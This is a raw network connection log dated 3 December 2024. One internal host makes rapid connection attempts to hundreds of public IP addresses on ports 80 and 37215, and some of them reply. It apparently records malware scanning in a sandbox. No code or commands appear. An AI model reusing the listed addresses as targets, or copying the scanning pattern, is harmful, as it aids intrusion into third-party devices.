Dec 3, 2024 21:47:28.571109056 CET	39419	80	192.168.2.13	172.152.251.248
Dec 3, 2024 21:47:28.571119070 CET	39419	80	192.168.2.13	206.95.29.15
Dec 3, 2024 21:47:28.571125984 CET	39419	80	192.168.2.13	203.39.24.249
Dec 3, 2024 21:47:28.571125984 CET	39419	80	192.168.2.13	141.77.61.255
Dec 3, 2024 21:47:28.571140051 CET	39419	80	192.168.2.13	71.220.58.13
Dec 3, 2024 21:47:28.571149111 CET	39419	80	192.168.2.13	195.64.146.222
Dec 3, 2024 21:47:28.571158886 CET	39419	80	192.168.2.13	41.123.190.20
Dec 3, 2024 21:47:28.571167946 CET	39419	80	192.168.2.13	94.163.162.34
Dec 3, 2024 21:47:28.571182013 CET	39419	80	192.168.2.13	34.11.73.224
Dec 3, 2024 21:47:28.571183920 CET	39419	80	192.168.2.13	173.205.211.143
Dec 3, 2024 21:47:28.571183920 CET	39419	80	192.168.2.13	173.175.17.106
Dec 3, 2024 21:47:28.571183920 CET	39419	80	192.168.2.13	123.40.16.190
Dec 3, 2024 21:47:28.571199894 CET	39419	80	192.168.2.13	160.178.190.88
Dec 3, 2024 21:47:28.571204901 CET	39419	80	192.168.2.13	122.12.153.42
Dec 3, 2024 21:47:28.571223974 CET	39419	80	192.168.2.13	148.210.236.139
Dec 3, 2024 21:47:28.571225882 CET	39419	80	192.168.2.13	172.169.211.209
Dec 3, 2024 21:47:28.571233034 CET	39419	80	192.168.2.13	40.11.181.220
Dec 3, 2024 21:47:28.571242094 CET	39419	80	192.168.2.13	173.109.81.155
Dec 3, 2024 21:47:28.571247101 CET	39419	80	192.168.2.13	222.235.198.192
Dec 3, 2024 21:47:28.571250916 CET	39419	80	192.168.2.13	210.192.253.93
Dec 3, 2024 21:47:28.571255922 CET	39419	80	192.168.2.13	24.242.0.236
Dec 3, 2024 21:47:28.571265936 CET	39419	80	192.168.2.13	162.0.80.103
Dec 3, 2024 21:47:28.571269035 CET	39419	80	192.168.2.13	131.64.60.22
Dec 3, 2024 21:47:28.571280956 CET	39419	80	192.168.2.13	208.244.70.163
Dec 3, 2024 21:47:28.571280956 CET	39419	80	192.168.2.13	105.25.171.214
Dec 3, 2024 21:47:28.571291924 CET	39419	80	192.168.2.13	169.195.57.52
Dec 3, 2024 21:47:28.571304083 CET	39419	80	192.168.2.13	185.6.77.103
Dec 3, 2024 21:47:28.571305990 CET	39419	80	192.168.2.13	82.237.111.152
Dec 3, 2024 21:47:28.571305990 CET	39419	80	192.168.2.13	210.108.160.87
Dec 3, 2024 21:47:28.571305990 CET	39419	80	192.168.2.13	118.106.149.88
Dec 3, 2024 21:47:28.571316957 CET	39419	80	192.168.2.13	25.187.242.172
Dec 3, 2024 21:47:28.571322918 CET	39419	80	192.168.2.13	84.196.211.30
Dec 3, 2024 21:47:28.571326017 CET	39419	80	192.168.2.13	206.85.173.219
Dec 3, 2024 21:47:28.571341991 CET	39419	80	192.168.2.13	61.242.203.128
Dec 3, 2024 21:47:28.571345091 CET	39419	80	192.168.2.13	47.86.3.240
Dec 3, 2024 21:47:28.571367025 CET	39419	80	192.168.2.13	217.28.233.229
Dec 3, 2024 21:47:28.571367979 CET	39419	80	192.168.2.13	12.220.108.191
Dec 3, 2024 21:47:28.571367979 CET	39419	80	192.168.2.13	210.161.101.35
Dec 3, 2024 21:47:28.571367979 CET	39419	80	192.168.2.13	103.35.252.13
Dec 3, 2024 21:47:28.571377039 CET	39419	80	192.168.2.13	201.153.166.125
Dec 3, 2024 21:47:28.571387053 CET	39419	80	192.168.2.13	221.182.199.198
Dec 3, 2024 21:47:28.571397066 CET	39419	80	192.168.2.13	114.246.34.226
Dec 3, 2024 21:47:28.571398973 CET	39419	80	192.168.2.13	153.236.83.81
Dec 3, 2024 21:47:28.571412086 CET	39419	80	192.168.2.13	161.212.85.21
Dec 3, 2024 21:47:28.571418047 CET	39419	80	192.168.2.13	2.126.163.191
Dec 3, 2024 21:47:28.571428061 CET	39419	80	192.168.2.13	95.52.77.109
Dec 3, 2024 21:47:28.571434021 CET	39419	80	192.168.2.13	163.150.169.141
Dec 3, 2024 21:47:28.571436882 CET	39419	80	192.168.2.13	184.77.140.11
Dec 3, 2024 21:47:28.571438074 CET	39419	80	192.168.2.13	182.235.171.201
Dec 3, 2024 21:47:28.571441889 CET	39419	80	192.168.2.13	216.152.2.80
Dec 3, 2024 21:47:28.571448088 CET	39419	80	192.168.2.13	172.247.92.227
Dec 3, 2024 21:47:28.571449041 CET	39419	80	192.168.2.13	57.132.182.27
Dec 3, 2024 21:47:28.571448088 CET	39419	80	192.168.2.13	122.118.77.112
Dec 3, 2024 21:47:28.571458101 CET	39419	80	192.168.2.13	221.237.206.48
Dec 3, 2024 21:47:28.571458101 CET	39419	80	192.168.2.13	8.199.155.89
Dec 3, 2024 21:47:28.571472883 CET	39419	80	192.168.2.13	35.42.212.118
Dec 3, 2024 21:47:28.571480989 CET	39419	80	192.168.2.13	182.149.132.71
Dec 3, 2024 21:47:28.571480989 CET	39419	80	192.168.2.13	161.43.6.61
Dec 3, 2024 21:47:28.571494102 CET	39419	80	192.168.2.13	123.23.96.155
Dec 3, 2024 21:47:28.571499109 CET	39419	80	192.168.2.13	144.108.34.217
Dec 3, 2024 21:47:28.571500063 CET	39419	80	192.168.2.13	177.12.199.234
Dec 3, 2024 21:47:28.571501017 CET	39419	80	192.168.2.13	48.71.54.93
Dec 3, 2024 21:47:28.571511984 CET	39419	80	192.168.2.13	161.224.57.198
Dec 3, 2024 21:47:28.571513891 CET	60794	37215	192.168.2.13	156.8.26.100
Dec 3, 2024 21:47:28.571521044 CET	39419	80	192.168.2.13	202.64.222.105
Dec 3, 2024 21:47:28.571532011 CET	39419	80	192.168.2.13	205.173.16.211
Dec 3, 2024 21:47:28.571532011 CET	39419	80	192.168.2.13	24.102.219.241
Dec 3, 2024 21:47:28.571540117 CET	39419	80	192.168.2.13	103.84.107.150
Dec 3, 2024 21:47:28.571548939 CET	39419	80	192.168.2.13	190.27.47.133
Dec 3, 2024 21:47:28.571559906 CET	39419	80	192.168.2.13	160.92.121.176
Dec 3, 2024 21:47:28.571559906 CET	39419	80	192.168.2.13	99.197.235.121
Dec 3, 2024 21:47:28.571571112 CET	39419	80	192.168.2.13	210.153.198.252
Dec 3, 2024 21:47:28.571573973 CET	39419	80	192.168.2.13	14.94.104.176
Dec 3, 2024 21:47:28.571580887 CET	39419	80	192.168.2.13	198.147.13.34
Dec 3, 2024 21:47:28.571588039 CET	39419	80	192.168.2.13	67.100.143.61
Dec 3, 2024 21:47:28.571598053 CET	39419	80	192.168.2.13	19.64.146.245
Dec 3, 2024 21:47:28.571599007 CET	39419	80	192.168.2.13	179.27.208.82
Dec 3, 2024 21:47:28.571608067 CET	39419	80	192.168.2.13	206.33.204.1
Dec 3, 2024 21:47:28.571619987 CET	39419	80	192.168.2.13	164.136.145.68
Dec 3, 2024 21:47:28.571625948 CET	39419	80	192.168.2.13	27.77.36.40
Dec 3, 2024 21:47:28.571626902 CET	39419	80	192.168.2.13	25.207.245.77
Dec 3, 2024 21:47:28.571634054 CET	39419	80	192.168.2.13	188.84.247.57
Dec 3, 2024 21:47:28.571645975 CET	39419	80	192.168.2.13	85.146.241.173
Dec 3, 2024 21:47:28.571649075 CET	39419	80	192.168.2.13	64.89.58.152
Dec 3, 2024 21:47:28.572370052 CET	34800	80	192.168.2.13	182.221.105.216
Dec 3, 2024 21:47:28.572453022 CET	35914	37215	192.168.2.13	41.132.217.159
Dec 3, 2024 21:47:28.573668003 CET	40030	80	192.168.2.13	149.244.161.140
Dec 3, 2024 21:47:28.573867083 CET	50640	37215	192.168.2.13	197.174.205.245
Dec 3, 2024 21:47:28.574961901 CET	49530	80	192.168.2.13	176.238.85.24
Dec 3, 2024 21:47:28.575145006 CET	36680	37215	192.168.2.13	41.88.58.42
Dec 3, 2024 21:47:28.576232910 CET	54438	80	192.168.2.13	168.19.35.119
Dec 3, 2024 21:47:28.576421976 CET	56260	37215	192.168.2.13	41.142.8.59
Dec 3, 2024 21:47:28.577486038 CET	49934	80	192.168.2.13	132.246.192.131
Dec 3, 2024 21:47:28.577672005 CET	37984	37215	192.168.2.13	156.4.1.44
Dec 3, 2024 21:47:28.578788996 CET	46818	80	192.168.2.13	150.135.116.253
Dec 3, 2024 21:47:28.578978062 CET	45252	37215	192.168.2.13	41.151.27.230
Dec 3, 2024 21:47:28.580070972 CET	52870	80	192.168.2.13	114.53.31.45
Dec 3, 2024 21:47:28.580280066 CET	35954	37215	192.168.2.13	156.223.242.27
Dec 3, 2024 21:47:28.581410885 CET	60142	80	192.168.2.13	69.127.8.189
Dec 3, 2024 21:47:28.581499100 CET	42452	37215	192.168.2.13	156.54.140.23
Dec 3, 2024 21:47:28.582735062 CET	58860	80	192.168.2.13	159.83.89.246
Dec 3, 2024 21:47:28.582948923 CET	51534	37215	192.168.2.13	41.47.35.38
Dec 3, 2024 21:47:28.584076881 CET	50570	80	192.168.2.13	191.145.49.217
Dec 3, 2024 21:47:28.584270954 CET	32958	37215	192.168.2.13	156.102.3.79
Dec 3, 2024 21:47:28.585426092 CET	59656	80	192.168.2.13	191.37.14.71
Dec 3, 2024 21:47:28.585509062 CET	41852	37215	192.168.2.13	156.243.45.223
Dec 3, 2024 21:47:28.586435080 CET	43638	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:28.586445093 CET	38350	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:28.586445093 CET	42080	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:28.586462975 CET	36822	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:28.586472988 CET	60302	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:28.586474895 CET	59438	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:28.586482048 CET	37868	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:28.586514950 CET	44430	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:28.586518049 CET	52036	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:28.586519957 CET	59180	80	192.168.2.13	106.183.152.217
Dec 3, 2024 21:47:28.586524010 CET	50074	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:28.586533070 CET	47746	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:28.586544037 CET	59436	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:28.586544037 CET	41522	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:28.586556911 CET	46448	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:28.586558104 CET	34616	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:28.586558104 CET	33376	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:28.586568117 CET	34712	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:28.586575985 CET	47828	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:28.586585999 CET	43274	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:28.586589098 CET	47088	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:28.586623907 CET	58248	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:28.586627007 CET	35176	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:28.586632013 CET	47886	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:28.586641073 CET	52154	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:28.586653948 CET	52158	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:28.586668015 CET	42340	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:28.586669922 CET	60304	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:28.586675882 CET	55592	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:28.586682081 CET	36874	37215	192.168.2.13	41.26.12.27
Dec 3, 2024 21:47:28.588983059 CET	37215	42064	197.233.207.19	192.168.2.13
Dec 3, 2024 21:47:28.589026928 CET	80	41324	12.24.147.177	192.168.2.13
Dec 3, 2024 21:47:28.589049101 CET	37215	56338	41.84.2.171	192.168.2.13
Dec 3, 2024 21:47:28.589059114 CET	42064	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:28.589061022 CET	37215	35092	156.18.66.100	192.168.2.13
Dec 3, 2024 21:47:28.589076996 CET	41324	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:28.589082956 CET	56338	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:28.589087009 CET	37215	60664	41.193.68.101	192.168.2.13
Dec 3, 2024 21:47:28.589093924 CET	56338	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:28.589093924 CET	35092	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:28.589102030 CET	80	36962	72.97.142.213	192.168.2.13
Dec 3, 2024 21:47:28.589103937 CET	42064	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:28.589118004 CET	60664	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:28.589122057 CET	37215	44718	197.102.244.208	192.168.2.13
Dec 3, 2024 21:47:28.589138985 CET	36962	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:28.589138985 CET	60664	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:28.589139938 CET	35092	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:28.589154959 CET	44718	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:28.589154959 CET	37215	56212	41.179.108.209	192.168.2.13
Dec 3, 2024 21:47:28.589154959 CET	44718	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:28.589169025 CET	41324	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:28.589173079 CET	80	44918	126.129.144.5	192.168.2.13
Dec 3, 2024 21:47:28.589186907 CET	37215	45998	41.227.92.100	192.168.2.13
Dec 3, 2024 21:47:28.589191914 CET	56212	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:28.589200974 CET	36962	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:28.589204073 CET	44918	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:28.589215994 CET	37215	36022	197.79.18.120	192.168.2.13
Dec 3, 2024 21:47:28.589225054 CET	45998	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:28.589226007 CET	56212	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:28.589230061 CET	80	58702	107.213.65.9	192.168.2.13
Dec 3, 2024 21:47:28.589236975 CET	44918	80	192.168.2.13	126.129.144.5
Dec 3, 2024 21:47:28.589250088 CET	36022	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:28.589250088 CET	45998	37215	192.168.2.13	41.227.92.100
Dec 3, 2024 21:47:28.589260101 CET	58702	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:28.589260101 CET	58702	80	192.168.2.13	107.213.65.9
Dec 3, 2024 21:47:28.589277029 CET	36022	37215	192.168.2.13	197.79.18.120
Dec 3, 2024 21:47:28.600555897 CET	58800	80	192.168.2.13	95.231.217.193
Dec 3, 2024 21:47:28.600555897 CET	38914	80	192.168.2.13	53.2.196.30
Dec 3, 2024 21:47:28.600558043 CET	49406	80	192.168.2.13	13.92.149.139
Dec 3, 2024 21:47:28.600555897 CET	45006	80	192.168.2.13	75.254.147.50
Dec 3, 2024 21:47:28.678706884 CET	37215	34043	197.110.202.156	192.168.2.13
Dec 3, 2024 21:47:28.678723097 CET	37215	34043	41.46.145.243	192.168.2.13
Dec 3, 2024 21:47:28.678740978 CET	37215	34043	197.169.82.27	192.168.2.13
Dec 3, 2024 21:47:28.678793907 CET	37215	34043	156.63.43.37	192.168.2.13
Dec 3, 2024 21:47:28.678811073 CET	37215	34043	41.173.136.87	192.168.2.13
Dec 3, 2024 21:47:28.678816080 CET	34043	37215	192.168.2.13	197.110.202.156
Dec 3, 2024 21:47:28.678864956 CET	37215	34043	41.63.17.195	192.168.2.13
Dec 3, 2024 21:47:28.678889036 CET	34043	37215	192.168.2.13	41.46.145.243
Dec 3, 2024 21:47:28.678898096 CET	34043	37215	192.168.2.13	197.169.82.27
Dec 3, 2024 21:47:28.678906918 CET	34043	37215	192.168.2.13	156.63.43.37
Dec 3, 2024 21:47:28.678915024 CET	34043	37215	192.168.2.13	41.63.17.195
Dec 3, 2024 21:47:28.678917885 CET	34043	37215	192.168.2.13	41.173.136.87
Dec 3, 2024 21:47:28.678920984 CET	37215	34043	197.6.106.254	192.168.2.13
Dec 3, 2024 21:47:28.678939104 CET	37215	47166	41.60.115.8	192.168.2.13
Dec 3, 2024 21:47:28.678952932 CET	37215	52946	156.230.149.174	192.168.2.13
Dec 3, 2024 21:47:28.678957939 CET	34043	37215	192.168.2.13	197.6.106.254
Dec 3, 2024 21:47:28.678989887 CET	37215	51382	41.130.219.75	192.168.2.13
Dec 3, 2024 21:47:28.679069042 CET	37215	50078	197.216.132.14	192.168.2.13
Dec 3, 2024 21:47:28.679143906 CET	37215	57922	156.224.249.242	192.168.2.13
Dec 3, 2024 21:47:28.679227114 CET	37215	59424	41.196.63.217	192.168.2.13
Dec 3, 2024 21:47:28.679234982 CET	37215	36894	197.21.36.108	192.168.2.13
Dec 3, 2024 21:47:28.679351091 CET	37215	34043	197.18.43.124	192.168.2.13
Dec 3, 2024 21:47:28.679356098 CET	37215	50078	197.216.132.14	192.168.2.13
Dec 3, 2024 21:47:28.679372072 CET	37215	34043	197.216.73.25	192.168.2.13
Dec 3, 2024 21:47:28.679388046 CET	37215	34043	156.214.216.238	192.168.2.13
Dec 3, 2024 21:47:28.679388046 CET	34043	37215	192.168.2.13	197.18.43.124
Dec 3, 2024 21:47:28.679398060 CET	50078	37215	192.168.2.13	197.216.132.14
Dec 3, 2024 21:47:28.679403067 CET	34043	37215	192.168.2.13	197.216.73.25
Dec 3, 2024 21:47:28.679413080 CET	37215	36894	197.21.36.108	192.168.2.13
Dec 3, 2024 21:47:28.679428101 CET	37215	34043	197.166.195.6	192.168.2.13
Dec 3, 2024 21:47:28.679430962 CET	34043	37215	192.168.2.13	156.214.216.238
Dec 3, 2024 21:47:28.679441929 CET	36894	37215	192.168.2.13	197.21.36.108
Dec 3, 2024 21:47:28.679451942 CET	37215	34043	197.163.69.247	192.168.2.13
Dec 3, 2024 21:47:28.679470062 CET	34043	37215	192.168.2.13	197.166.195.6
Dec 3, 2024 21:47:28.679472923 CET	37215	34043	197.12.41.9	192.168.2.13
Dec 3, 2024 21:47:28.679481983 CET	34043	37215	192.168.2.13	197.163.69.247
Dec 3, 2024 21:47:28.679481030 CET	37215	34043	41.245.46.124	192.168.2.13
Dec 3, 2024 21:47:28.679503918 CET	37215	34043	197.143.158.54	192.168.2.13
Dec 3, 2024 21:47:28.679512024 CET	37215	34043	41.159.192.59	192.168.2.13
Dec 3, 2024 21:47:28.679512024 CET	34043	37215	192.168.2.13	197.12.41.9
Dec 3, 2024 21:47:28.679531097 CET	34043	37215	192.168.2.13	41.245.46.124
Dec 3, 2024 21:47:28.679531097 CET	34043	37215	192.168.2.13	197.143.158.54
Dec 3, 2024 21:47:28.679542065 CET	34043	37215	192.168.2.13	41.159.192.59
Dec 3, 2024 21:47:28.679547071 CET	37215	51382	41.130.219.75	192.168.2.13
Dec 3, 2024 21:47:28.679563046 CET	37215	47166	41.60.115.8	192.168.2.13
Dec 3, 2024 21:47:28.679588079 CET	51382	37215	192.168.2.13	41.130.219.75
Dec 3, 2024 21:47:28.679600000 CET	47166	37215	192.168.2.13	41.60.115.8
Dec 3, 2024 21:47:28.679765940 CET	37215	52946	156.230.149.174	192.168.2.13
Dec 3, 2024 21:47:28.679811954 CET	52946	37215	192.168.2.13	156.230.149.174
Dec 3, 2024 21:47:28.679980993 CET	37215	59424	41.196.63.217	192.168.2.13
Dec 3, 2024 21:47:28.680027962 CET	59424	37215	192.168.2.13	41.196.63.217
Dec 3, 2024 21:47:28.680197001 CET	37215	57922	156.224.249.242	192.168.2.13
Dec 3, 2024 21:47:28.680236101 CET	57922	37215	192.168.2.13	156.224.249.242
Dec 3, 2024 21:47:28.684176922 CET	37215	59352	156.221.166.16	192.168.2.13
Dec 3, 2024 21:47:28.684237003 CET	59352	37215	192.168.2.13	156.221.166.16
Dec 3, 2024 21:47:28.684667110 CET	41380	37215	192.168.2.13	197.110.202.156
Dec 3, 2024 21:47:28.685252905 CET	52536	37215	192.168.2.13	41.46.145.243
Dec 3, 2024 21:47:28.685869932 CET	35172	37215	192.168.2.13	197.169.82.27
Dec 3, 2024 21:47:28.686429024 CET	52388	37215	192.168.2.13	156.63.43.37
Dec 3, 2024 21:47:28.686990976 CET	40506	37215	192.168.2.13	41.173.136.87
Dec 3, 2024 21:47:28.687547922 CET	60842	37215	192.168.2.13	41.63.17.195
Dec 3, 2024 21:47:28.688086987 CET	52948	37215	192.168.2.13	197.6.106.254
Dec 3, 2024 21:47:28.688662052 CET	49982	37215	192.168.2.13	197.18.43.124
Dec 3, 2024 21:47:28.689212084 CET	35302	37215	192.168.2.13	197.216.73.25
Dec 3, 2024 21:47:28.689771891 CET	46038	37215	192.168.2.13	156.214.216.238
Dec 3, 2024 21:47:28.690323114 CET	52202	37215	192.168.2.13	197.166.195.6
Dec 3, 2024 21:47:28.690871000 CET	48796	37215	192.168.2.13	197.163.69.247
Dec 3, 2024 21:47:28.691431046 CET	48956	37215	192.168.2.13	197.12.41.9
Dec 3, 2024 21:47:28.691972971 CET	39588	37215	192.168.2.13	41.245.46.124
Dec 3, 2024 21:47:28.692538977 CET	59410	37215	192.168.2.13	197.143.158.54
Dec 3, 2024 21:47:28.693080902 CET	34756	37215	192.168.2.13	41.159.192.59
Dec 3, 2024 21:47:28.693505049 CET	59352	37215	192.168.2.13	156.221.166.16
Dec 3, 2024 21:47:28.693533897 CET	59352	37215	192.168.2.13	156.221.166.16
Dec 3, 2024 21:47:28.693784952 CET	59462	37215	192.168.2.13	156.221.166.16
Dec 3, 2024 21:47:28.696235895 CET	80	54438	168.19.35.119	192.168.2.13
Dec 3, 2024 21:47:28.696332932 CET	54438	80	192.168.2.13	168.19.35.119
Dec 3, 2024 21:47:28.696506023 CET	54438	80	192.168.2.13	168.19.35.119
Dec 3, 2024 21:47:28.696528912 CET	54438	80	192.168.2.13	168.19.35.119
Dec 3, 2024 21:47:28.696902037 CET	54506	80	192.168.2.13	168.19.35.119
Dec 3, 2024 21:47:28.704062939 CET	80	50570	191.145.49.217	192.168.2.13
Dec 3, 2024 21:47:28.704124928 CET	50570	80	192.168.2.13	191.145.49.217
Dec 3, 2024 21:47:28.704154968 CET	50570	80	192.168.2.13	191.145.49.217
Dec 3, 2024 21:47:28.704154968 CET	50570	80	192.168.2.13	191.145.49.217
Dec 3, 2024 21:47:28.704483032 CET	50616	80	192.168.2.13	191.145.49.217
Dec 3, 2024 21:47:28.706969976 CET	37215	43638	197.131.66.97	192.168.2.13
Dec 3, 2024 21:47:28.707014084 CET	43638	37215	192.168.2.13	197.131.66.97
Dec 3, 2024 21:47:28.707468987 CET	37215	38350	197.57.94.143	192.168.2.13
Dec 3, 2024 21:47:28.707494974 CET	37215	42080	41.252.167.141	192.168.2.13
Dec 3, 2024 21:47:28.707509995 CET	38350	37215	192.168.2.13	197.57.94.143
Dec 3, 2024 21:47:28.707519054 CET	37215	36822	41.78.110.252	192.168.2.13
Dec 3, 2024 21:47:28.707528114 CET	42080	37215	192.168.2.13	41.252.167.141
Dec 3, 2024 21:47:28.707550049 CET	37215	60302	156.167.186.216	192.168.2.13
Dec 3, 2024 21:47:28.707561016 CET	36822	37215	192.168.2.13	41.78.110.252
Dec 3, 2024 21:47:28.707564116 CET	37215	59438	156.9.237.76	192.168.2.13
Dec 3, 2024 21:47:28.707581997 CET	60302	37215	192.168.2.13	156.167.186.216
Dec 3, 2024 21:47:28.707592010 CET	59438	37215	192.168.2.13	156.9.237.76
Dec 3, 2024 21:47:28.707601070 CET	37215	37868	197.66.54.252	192.168.2.13
Dec 3, 2024 21:47:28.707619905 CET	37215	44430	41.59.158.178	192.168.2.13
Dec 3, 2024 21:47:28.707638979 CET	37868	37215	192.168.2.13	197.66.54.252
Dec 3, 2024 21:47:28.707643986 CET	37215	50074	156.186.192.169	192.168.2.13
Dec 3, 2024 21:47:28.707659960 CET	44430	37215	192.168.2.13	41.59.158.178
Dec 3, 2024 21:47:28.707674026 CET	37215	52036	156.137.59.179	192.168.2.13
Dec 3, 2024 21:47:28.707684040 CET	50074	37215	192.168.2.13	156.186.192.169
Dec 3, 2024 21:47:28.707712889 CET	52036	37215	192.168.2.13	156.137.59.179
Dec 3, 2024 21:47:28.707747936 CET	37215	47746	156.227.147.148	192.168.2.13
Dec 3, 2024 21:47:28.707778931 CET	37215	46448	197.101.126.167	192.168.2.13
Dec 3, 2024 21:47:28.707801104 CET	47746	37215	192.168.2.13	156.227.147.148
Dec 3, 2024 21:47:28.707812071 CET	46448	37215	192.168.2.13	197.101.126.167
Dec 3, 2024 21:47:28.707839966 CET	37215	34616	41.11.208.38	192.168.2.13
Dec 3, 2024 21:47:28.707869053 CET	34616	37215	192.168.2.13	41.11.208.38
Dec 3, 2024 21:47:28.707897902 CET	37215	33376	41.204.185.224	192.168.2.13
Dec 3, 2024 21:47:28.707942963 CET	33376	37215	192.168.2.13	41.204.185.224
Dec 3, 2024 21:47:28.707962990 CET	37215	59436	197.85.113.143	192.168.2.13
Dec 3, 2024 21:47:28.707977057 CET	37215	41522	41.206.100.21	192.168.2.13
Dec 3, 2024 21:47:28.708004951 CET	59436	37215	192.168.2.13	197.85.113.143
Dec 3, 2024 21:47:28.708004951 CET	41522	37215	192.168.2.13	41.206.100.21
Dec 3, 2024 21:47:28.708067894 CET	37215	34712	197.105.1.48	192.168.2.13
Dec 3, 2024 21:47:28.708077908 CET	37215	47828	156.18.176.47	192.168.2.13
Dec 3, 2024 21:47:28.708095074 CET	37215	43274	197.191.47.123	192.168.2.13
Dec 3, 2024 21:47:28.708101988 CET	34712	37215	192.168.2.13	197.105.1.48
Dec 3, 2024 21:47:28.708106995 CET	47828	37215	192.168.2.13	156.18.176.47
Dec 3, 2024 21:47:28.708112955 CET	37215	47088	156.244.170.80	192.168.2.13
Dec 3, 2024 21:47:28.708127022 CET	43274	37215	192.168.2.13	197.191.47.123
Dec 3, 2024 21:47:28.708134890 CET	37215	58248	156.241.177.227	192.168.2.13
Dec 3, 2024 21:47:28.708147049 CET	47088	37215	192.168.2.13	156.244.170.80
Dec 3, 2024 21:47:28.708156109 CET	37215	35176	197.189.180.232	192.168.2.13
Dec 3, 2024 21:47:28.708165884 CET	58248	37215	192.168.2.13	156.241.177.227
Dec 3, 2024 21:47:28.708169937 CET	37215	47886	197.241.234.235	192.168.2.13
Dec 3, 2024 21:47:28.708189011 CET	35176	37215	192.168.2.13	197.189.180.232
Dec 3, 2024 21:47:28.708206892 CET	47886	37215	192.168.2.13	197.241.234.235
Dec 3, 2024 21:47:28.708272934 CET	37215	52154	156.41.38.126	192.168.2.13
Dec 3, 2024 21:47:28.708287001 CET	37215	52158	197.155.147.73	192.168.2.13
Dec 3, 2024 21:47:28.708312035 CET	52154	37215	192.168.2.13	156.41.38.126
Dec 3, 2024 21:47:28.708313942 CET	52158	37215	192.168.2.13	197.155.147.73
Dec 3, 2024 21:47:28.710092068 CET	37215	42340	197.22.134.226	192.168.2.13
Dec 3, 2024 21:47:28.710156918 CET	42340	37215	192.168.2.13	197.22.134.226
Dec 3, 2024 21:47:28.710171938 CET	37215	60304	156.142.143.175	192.168.2.13
Dec 3, 2024 21:47:28.710201979 CET	37215	55592	156.155.65.188	192.168.2.13
Dec 3, 2024 21:47:28.710227013 CET	60304	37215	192.168.2.13	156.142.143.175
Dec 3, 2024 21:47:28.710242987 CET	55592	37215	192.168.2.13	156.155.65.188
Dec 3, 2024 21:47:28.710247993 CET	37215	36874	41.26.12.27	192.168.2.13
Dec 3, 2024 21:47:28.710294962 CET	36874	37215	192.168.2.13	41.26.12.27
Dec 3, 2024 21:47:28.711021900 CET	37215	42064	197.233.207.19	192.168.2.13
Dec 3, 2024 21:47:28.711075068 CET	42064	37215	192.168.2.13	197.233.207.19
Dec 3, 2024 21:47:28.711491108 CET	80	41324	12.24.147.177	192.168.2.13
Dec 3, 2024 21:47:28.711534023 CET	41324	80	192.168.2.13	12.24.147.177
Dec 3, 2024 21:47:28.711788893 CET	37215	56338	41.84.2.171	192.168.2.13
Dec 3, 2024 21:47:28.711842060 CET	56338	37215	192.168.2.13	41.84.2.171
Dec 3, 2024 21:47:28.712078094 CET	37215	35092	156.18.66.100	192.168.2.13
Dec 3, 2024 21:47:28.712132931 CET	35092	37215	192.168.2.13	156.18.66.100
Dec 3, 2024 21:47:28.712441921 CET	37215	60664	41.193.68.101	192.168.2.13
Dec 3, 2024 21:47:28.712496042 CET	60664	37215	192.168.2.13	41.193.68.101
Dec 3, 2024 21:47:28.712909937 CET	80	36962	72.97.142.213	192.168.2.13
Dec 3, 2024 21:47:28.712949038 CET	36962	80	192.168.2.13	72.97.142.213
Dec 3, 2024 21:47:28.713210106 CET	37215	44718	197.102.244.208	192.168.2.13
Dec 3, 2024 21:47:28.713253021 CET	44718	37215	192.168.2.13	197.102.244.208
Dec 3, 2024 21:47:28.713526964 CET	37215	56212	41.179.108.209	192.168.2.13
Dec 3, 2024 21:47:28.713570118 CET	56212	37215	192.168.2.13	41.179.108.209
Dec 3, 2024 21:47:28.714087009 CET	80	44918	126.129.144.5	192.168.2.13
Dec 3, 2024 21:47:28.714128971 CET	44918	80	192.168.2.13	126.129.144.5
